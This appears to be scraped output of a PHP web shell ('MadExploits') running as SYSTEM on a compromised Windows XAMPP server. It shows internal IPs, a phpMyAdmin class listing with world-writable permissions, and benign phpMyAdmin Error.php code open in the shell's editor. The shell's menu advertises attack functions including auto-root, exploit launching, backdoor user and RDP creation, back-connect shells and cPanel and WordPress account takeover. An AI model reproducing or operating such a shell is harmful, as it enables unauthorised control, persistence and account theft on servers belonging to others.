Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
Controllers
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Dbi
[ DIR ]
drwxrwxrwx
Di
[ DIR ]
drwxrwxrwx
Display
[ DIR ]
drwxrwxrwx
Engines
[ DIR ]
drwxrwxrwx
Gis
[ DIR ]
drwxrwxrwx
Navigation
[ DIR ]
drwxrwxrwx
Plugins
[ DIR ]
drwxrwxrwx
Properties
[ DIR ]
drwxrwxrwx
Rte
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Twig
[ DIR ]
drwxrwxrwx
Utils
[ DIR ]
drwxrwxrwx
Advisor.php
19.56
KB
-rw-rw-rw-
Bookmark.php
10.74
KB
-rw-rw-rw-
BrowseForeigners.php
11.15
KB
-rw-rw-rw-
CentralColumns.php
44.19
KB
-rw-rw-rw-
Charsets.php
6.14
KB
-rw-rw-rw-
CheckUserPrivileges.php
12.59
KB
-rw-rw-rw-
Config.php
57.38
KB
-rw-rw-rw-
Console.php
3.69
KB
-rw-rw-rw-
Core.php
38.31
KB
-rw-rw-rw-
CreateAddField.php
17.91
KB
-rw-rw-rw-
DatabaseInterface.php
104.47
KB
-rw-rw-rw-
Encoding.php
8.68
KB
-rw-rw-rw-
Error.php
13.34
KB
-rw-rw-rw-
ErrorHandler.php
17.17
KB
-rw-rw-rw-
ErrorReport.php
8.92
KB
-rw-rw-rw-
Export.php
42.76
KB
-rw-rw-rw-
File.php
21.29
KB
-rw-rw-rw-
FileListing.php
2.83
KB
-rw-rw-rw-
Font.php
5.54
KB
-rw-rw-rw-
Footer.php
10.6
KB
-rw-rw-rw-
Header.php
21.87
KB
-rw-rw-rw-
Import.php
56.56
KB
-rw-rw-rw-
Index.php
24.5
KB
-rw-rw-rw-
IndexColumn.php
4.44
KB
-rw-rw-rw-
InsertEdit.php
129.31
KB
-rw-rw-rw-
InternalRelations.php
17.42
KB
-rw-rw-rw-
IpAllowDeny.php
9.57
KB
-rw-rw-rw-
Language.php
4.31
KB
-rw-rw-rw-
LanguageManager.php
23.71
KB
-rw-rw-rw-
Linter.php
5.21
KB
-rw-rw-rw-
ListAbstract.php
2.51
KB
-rw-rw-rw-
ListDatabase.php
4.34
KB
-rw-rw-rw-
Logging.php
2.6
KB
-rw-rw-rw-
Menu.php
22.36
KB
-rw-rw-rw-
Message.php
19.32
KB
-rw-rw-rw-
Mime.php
916
B
-rw-rw-rw-
MultSubmits.php
23.64
KB
-rw-rw-rw-
Normalization.php
40.41
KB
-rw-rw-rw-
OpenDocument.php
8.52
KB
-rw-rw-rw-
Operations.php
81.25
KB
-rw-rw-rw-
OutputBuffering.php
3.71
KB
-rw-rw-rw-
ParseAnalyze.php
2.55
KB
-rw-rw-rw-
Partition.php
7.27
KB
-rw-rw-rw-
Pdf.php
4.37
KB
-rw-rw-rw-
Plugins.php
22.95
KB
-rw-rw-rw-
RecentFavoriteTable.php
12.04
KB
-rw-rw-rw-
Relation.php
79.64
KB
-rw-rw-rw-
RelationCleanup.php
15
KB
-rw-rw-rw-
Replication.php
5.75
KB
-rw-rw-rw-
ReplicationGui.php
21.23
KB
-rw-rw-rw-
Response.php
16.14
KB
-rw-rw-rw-
Sanitize.php
14.51
KB
-rw-rw-rw-
SavedSearches.php
11.94
KB
-rw-rw-rw-
Scripts.php
3.65
KB
-rw-rw-rw-
Session.php
7.62
KB
-rw-rw-rw-
Sql.php
82.09
KB
-rw-rw-rw-
SqlQueryForm.php
17.63
KB
-rw-rw-rw-
StorageEngine.php
13.75
KB
-rw-rw-rw-
SubPartition.php
3.55
KB
-rw-rw-rw-
SysInfo.php
1.61
KB
-rw-rw-rw-
SysInfoBase.php
822
B
-rw-rw-rw-
SysInfoLinux.php
2.16
KB
-rw-rw-rw-
SysInfoSunOS.php
1.89
KB
-rw-rw-rw-
SysInfoWINNT.php
3.27
KB
-rw-rw-rw-
SystemDatabase.php
3.97
KB
-rw-rw-rw-
Table.php
94.87
KB
-rw-rw-rw-
TablePartitionDefinition.php
6.64
KB
-rw-rw-rw-
Template.php
4.02
KB
-rw-rw-rw-
Theme.php
8.62
KB
-rw-rw-rw-
ThemeManager.php
10.42
KB
-rw-rw-rw-
Tracker.php
30.13
KB
-rw-rw-rw-
Tracking.php
40.26
KB
-rw-rw-rw-
Transformations.php
16.27
KB
-rw-rw-rw-
TwoFactor.php
7.14
KB
-rw-rw-rw-
Types.php
24.93
KB
-rw-rw-rw-
Url.php
8.32
KB
-rw-rw-rw-
UserPassword.php
9
KB
-rw-rw-rw-
UserPreferences.php
8.62
KB
-rw-rw-rw-
UserPreferencesHeader.php
4.13
KB
-rw-rw-rw-
Util.php
168.02
KB
-rw-rw-rw-
VersionInformation.php
6.92
KB
-rw-rw-rw-
ZipExtension.php
10.25
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Error.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Holds class PhpMyAdmin\Error * * @package PhpMyAdmin */ declare(strict_types=1); namespace PhpMyAdmin; use Exception; use PhpMyAdmin\Message; /** * a single error * * @package PhpMyAdmin */ class Error extends Message { /** * Error types * * @var array */ public static $errortype = [ 0 => 'Internal error', E_ERROR => 'Error', E_WARNING => 'Warning', E_PARSE => 'Parsing Error', E_NOTICE => 'Notice', E_CORE_ERROR => 'Core Error', E_CORE_WARNING => 'Core Warning', E_COMPILE_ERROR => 'Compile Error', E_COMPILE_WARNING => 'Compile Warning', E_USER_ERROR => 'User Error', E_USER_WARNING => 'User Warning', E_USER_NOTICE => 'User Notice', E_STRICT => 'Runtime Notice', E_DEPRECATED => 'Deprecation Notice', E_USER_DEPRECATED => 'Deprecation Notice', E_RECOVERABLE_ERROR => 'Catchable Fatal Error', ]; /** * Error levels * * @var array */ public static $errorlevel = [ 0 => 'error', E_ERROR => 'error', E_WARNING => 'error', E_PARSE => 'error', E_NOTICE => 'notice', E_CORE_ERROR => 'error', E_CORE_WARNING => 'error', E_COMPILE_ERROR => 'error', E_COMPILE_WARNING => 'error', E_USER_ERROR => 'error', E_USER_WARNING => 'error', E_USER_NOTICE => 'notice', E_STRICT => 'notice', E_DEPRECATED => 'notice', E_USER_DEPRECATED => 'notice', E_RECOVERABLE_ERROR => 'error', ]; /** * The file in which the error occurred * * @var string */ protected $file = ''; /** * The line in which the error occurred * * @var integer */ protected $line = 0; /** * Holds the backtrace for this error * * @var array */ protected $backtrace = []; /** * Hide location of errors */ protected $hide_location = false; /** * Constructor * * @param integer $errno error number * @param string $errstr error message * @param string $errfile file * @param integer $errline line */ public function __construct(int $errno, string $errstr, string $errfile, int $errline) { parent::__construct(); $this->setNumber($errno); $this->setMessage($errstr, false); $this->setFile($errfile); $this->setLine($errline); // This function can be disabled in php.ini if (function_exists('debug_backtrace')) { $backtrace = @debug_backtrace(); // remove last three calls: // debug_backtrace(), handleError() and addError() $backtrace = array_slice($backtrace, 3); } else { $backtrace = []; } $this->setBacktrace($backtrace); } /** * Process backtrace to avoid path disclossures, objects and so on * * @param array $backtrace backtrace * * @return array */ public static function processBacktrace(array $backtrace): array { $result = []; $members = [ 'line', 'function', 'class', 'type', ]; foreach ($backtrace as $idx => $step) { /* Create new backtrace entry */ $result[$idx] = []; /* Make path relative */ if (isset($step['file'])) { $result[$idx]['file'] = self::relPath($step['file']); } /* Store members we want */ foreach ($members as $name) { if (isset($step[$name])) { $result[$idx][$name] = $step[$name]; } } /* Store simplified args */ if (isset($step['args'])) { foreach ($step['args'] as $key => $arg) { $result[$idx]['args'][$key] = self::getArg($arg, $step['function']); } } } return $result; } /** * Toggles location hiding * * @param boolean $hide Whether to hide * * @return void */ public function setHideLocation(bool $hide): void { $this->hide_location = $hide; } /** * sets PhpMyAdmin\Error::$_backtrace * * We don't store full arguments to avoid wakeup or memory problems. * * @param array $backtrace backtrace * * @return void */ public function setBacktrace(array $backtrace): void { $this->backtrace = self::processBacktrace($backtrace); } /** * sets PhpMyAdmin\Error::$_line * * @param integer $line the line * * @return void */ public function setLine(int $line): void { $this->line = $line; } /** * sets PhpMyAdmin\Error::$_file * * @param string $file the file * * @return void */ public function setFile(string $file): void { $this->file = self::relPath($file); } /** * returns unique PhpMyAdmin\Error::$hash, if not exists it will be created * * @return string PhpMyAdmin\Error::$hash */ public function getHash(): string { try { $backtrace = serialize($this->getBacktrace()); } catch (Exception $e) { $backtrace = ''; } if ($this->hash === null) { $this->hash = md5( $this->getNumber() . $this->getMessage() . $this->getFile() . $this->getLine() . $backtrace ); } return $this->hash; } /** * returns PhpMyAdmin\Error::$_backtrace for first $count frames * pass $count = -1 to get full backtrace. * The same can be done by not passing $count at all. * * @param integer $count Number of stack frames. * * @return array PhpMyAdmin\Error::$_backtrace */ public function getBacktrace(int $count = -1): array { if ($count != -1) { return array_slice($this->backtrace, 0, $count); } return $this->backtrace; } /** * returns PhpMyAdmin\Error::$file * * @return string PhpMyAdmin\Error::$file */ public function getFile(): string { return $this->file; } /** * returns PhpMyAdmin\Error::$line * * @return integer PhpMyAdmin\Error::$line */ public function getLine(): int { return $this->line; } /** * returns type of error * * @return string type of error */ public function getType(): string { return self::$errortype[$this->getNumber()]; } /** * returns level of error * * @return string level of error */ public function getLevel(): string { return self::$errorlevel[$this->getNumber()]; } /** * returns title prepared for HTML Title-Tag * * @return string HTML escaped and truncated title */ public function getHtmlTitle(): string { return htmlspecialchars( mb_substr($this->getTitle(), 0, 100) ); } /** * returns title for error * * @return string */ public function getTitle(): string { return $this->getType() . ': ' . $this->getMessage(); } /** * Get HTML backtrace * * @return string */ public function getBacktraceDisplay(): string { return self::formatBacktrace( $this->getBacktrace(), "<br>\n", "<br>\n" ); } /** * return formatted backtrace field * * @param array $backtrace Backtrace data * @param string $separator Arguments separator to use * @param string $lines Lines separator to use * * @return string formatted backtrace */ public static function formatBacktrace( array $backtrace, string $separator, string $lines ): string { $retval = ''; foreach ($backtrace as $step) { if (isset($step['file']) && isset($step['line'])) { $retval .= self::relPath($step['file']) . '#' . $step['line'] . ': '; } if (isset($step['class'])) { $retval .= $step['class'] . $step['type']; } $retval .= self::getFunctionCall($step, $separator); $retval .= $lines; } return $retval; } /** * Formats function call in a backtrace * * @param array $step backtrace step * @param string $separator Arguments separator to use * * @return string */ public static function getFunctionCall(array $step, string $separator): string { $retval = $step['function'] . '('; if (isset($step['args'])) { if (count($step['args']) > 1) { $retval .= $separator; foreach ($step['args'] as $arg) { $retval .= "\t"; $retval .= $arg; $retval .= ',' . $separator; } } elseif (count($step['args']) > 0) { foreach ($step['args'] as $arg) { $retval .= $arg; } } } $retval .= ')'; return $retval; } /** * Get a single function argument * * if $function is one of include/require * the $arg is converted to a relative path * * @param string $arg argument to process * @param string $function function name * * @return string */ public static function getArg($arg, string $function): string { $retval = ''; $include_functions = [ 'include', 'include_once', 'require', 'require_once', ]; $connect_functions = [ 'mysql_connect', 'mysql_pconnect', 'mysqli_connect', 'mysqli_real_connect', 'connect', '_realConnect', ]; if (in_array($function, $include_functions)) { $retval .= self::relPath($arg); } elseif (in_array($function, $connect_functions) && gettype($arg) === 'string' ) { $retval .= gettype($arg) . ' ********'; } elseif (is_scalar($arg)) { $retval .= gettype($arg) . ' ' . htmlspecialchars(var_export($arg, true)); } elseif (is_object($arg)) { $retval .= '<Class:' . get_class($arg) . '>'; } else { $retval .= gettype($arg); } return $retval; } /** * Gets the error as string of HTML * * @return string */ public function getDisplay(): string { $this->isDisplayed(true); $retval = '<div class="' . $this->getLevel() . '">'; if (! $this->isUserError()) { $retval .= '<strong>' . $this->getType() . '</strong>'; $retval .= ' in ' . $this->getFile() . '#' . $this->getLine(); $retval .= "<br>\n"; } $retval .= $this->getMessage(); if (! $this->isUserError()) { $retval .= "<br>\n"; $retval .= "<br>\n"; $retval .= "<strong>Backtrace</strong><br>\n"; $retval .= "<br>\n"; $retval .= $this->getBacktraceDisplay(); } $retval .= '</div>'; return $retval; } /** * whether this error is a user error * * @return boolean */ public function isUserError(): bool { return $this->hide_location || ($this->getNumber() & (E_USER_WARNING | E_USER_ERROR | E_USER_NOTICE | E_USER_DEPRECATED)); } /** * return short relative path to phpMyAdmin basedir * * prevent path disclosure in error message, * and make users feel safe to submit error reports * * @param string $path path to be shorten * * @return string shortened path */ public static function relPath(string $path): string { $dest = @realpath($path); /* Probably affected by open_basedir */ if ($dest === false) { return basename($path); } $Ahere = explode( DIRECTORY_SEPARATOR, realpath(__DIR__ . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . '..') ); $Adest = explode(DIRECTORY_SEPARATOR, $dest); $result = '.'; // && count ($Adest)>0 && count($Ahere)>0 ) while (implode(DIRECTORY_SEPARATOR, $Adest) != implode(DIRECTORY_SEPARATOR, $Ahere)) { if (count($Ahere) > count($Adest)) { array_pop($Ahere); $result .= DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . '..'; } else { array_pop($Adest); } } $path = $result . str_replace(implode(DIRECTORY_SEPARATOR, $Adest), '', $dest); return str_replace( DIRECTORY_SEPARATOR . PATH_SEPARATOR, DIRECTORY_SEPARATOR, $path ); } }
Close